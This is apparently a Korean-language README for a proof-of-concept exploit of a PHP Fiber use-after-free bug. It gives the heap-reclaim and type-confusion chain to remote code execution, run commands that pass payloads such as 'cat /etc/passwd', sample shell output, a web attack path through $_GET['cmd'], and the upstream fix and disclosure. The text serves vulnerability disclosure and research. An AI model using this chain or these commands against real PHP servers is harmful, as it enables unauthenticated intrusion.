
PHP Fiber callable use-after-free(CVE-2026-2031226) 취약점에 대한 개념 증명 익스플로잇으로, 힙 재할당, 타입 혼동, 정보 유출 및 인증 없는 RCE를 가능하게 합니다.
심각도: 치명적 (CVSS 9.8 — 웹 컨텍스트에서 인증 불필요 RCE)
영향 받는 버전: PHP 8.1.x–8.4.27, PHP 8.5.x–8.5.12
수정된 버전: PHP 8.4.28-dev, PHP 8.5.13-dev
구성 요소: Zend/zend_fibers.c — zend_fiber_addref_callable() (누락)
유형: Use-After-Free → 힙 재할당 → 프로퍼티 앨리어싱 → RCE
인스턴스 메서드 내부에서 클래스 메서드 콜러블 [ClassName::class, 'method']로 PHP Fiber를 생성할 때, PHP는 암시적 $this를 fci.object로 해석하면서 참조 카운트를 증가시키지 않습니다 (GC_ADDREF). Fiber::start()가 호출되기 전에 객체가 해제되면, 해제된 메모리 슬롯은 동일한 크기의 공격자 제어 할당으로 재할당될 수 있어, 클래스 간 프로퍼티 앨리어싱과 원격 코드 실행이 가능해집니다.
1. Fiber UAF: new Fiber([SafeProcessor::class, 'process'])
→ fci.object = $processor, NO GC_ADDREF (the bug)
2. Free: unset($processor)
→ efree(56-byte slot), fci.object dangling
3. Heap reclaim: new UserRequest($argv[1])
→ LIFO free list, UserRequest lands in freed slot
→ UserRequest::$command = attacker-controlled string
4. UAF trigger: $fiber->start()
→ PHP reads fci.object (UserRequest's slot)
→ name-lookup "command" in UserRequest's ce
→ IS_STRING = attacker input
→ system($this->command) → RCE
# Original crash (SIGSEGV, exit 139)
php poc_fiber_uaf.php
# Type confusion: IS_LONG read as IS_STRING
php poc_fiber_type_confusion.php
# 64-bit value injection / info leak primitive
php poc_fiber_infoleak.php
# Full RCE — attacker-controlled input via argv[1]
php poc_fiber_rce.php 'id && whoami'
php poc_fiber_rce.php 'cat /etc/passwd'
$ php poc_fiber_rce.php 'id && uname -a'
[*] Attacker input: 'id && uname -a'
[*] SafeProcessor freed, UserRequest at same address
[*] Starting fiber...
---
[victim expects] command = 'echo safe_output_only'
[actual shell output]:
uid=501(adrian) gid=20(staff) groups=20(staff),80(admin),...
Darwin ... arm64
---
[*] RCE complete (exit 0)
RCE가 악용 가능하려면 대상 애플리케이션이 모두 충족해야 함:
$this->prop를 사용하여 system()/exec()/shell_exec()를 호출하는 메서드를 가진 피해자 클래스[VictimClass::class, 'method']를 통해 생성된 Fiber$fiber->start() 이전에 해제된 객체 (unset, 스코프 종료, GC)sizeof(AttackerClass) == sizeof(VictimClass) (동일한 ZendMM bin: 40 + n_props * 16 바이트)$fiber->start() 호출웹/FPM 컨텍스트에서: $_GET['cmd'] → new AttackerClass($_GET['cmd']) → 슬롯 재점유 → system($_GET['cmd']) — 인증 없는 RCE.
Zend/zend_fibers.c — callable 해석에서 GC_ADDREF 누락:
// BUG: fci.object stored without refcount increment
// Fix (PHP 8.4.28-dev / 8.5.13-dev):
static void zend_fiber_addref_callable(zend_fcall_info *fci) {
if (fci->object) {
GC_ADDREF(fci->object); // added by fix
}
}
PHP 8.4.28-dev 및 8.5.13-dev는 GC_ADDREF(fiber->fci.object)와 함께 zend_fiber_addref_callable()을 추가하고, zend_fiber_release_callable()에 짝을 이루는 OBJ_RELEASE를 추가합니다.
| 파일 | 설명 |
|---|---|
poc_fiber_uaf.php | 원본 크래시 PoC (종료 코드 139, SIGSEGV) |
poc_fiber_type_confusion.php | 타입 혼동: IS_STRING이 예상되는 곳에 IS_LONG |
poc_fiber_infoleak.php | 64비트 제어 값 주입 / 정보 유출 프리미티브 |
poc_fiber_rce.php | 공격자가 제어하는 외부 입력을 통한 전체 RCE |
disclosure_fiber_uaf.txt | [email protected] 및 [email protected]로 발송된 전체 공개 내용 |
Adrian / [email protected] 선행 PHP 보안 연구 기반: CVE-2026-109618, CVE-2026-109619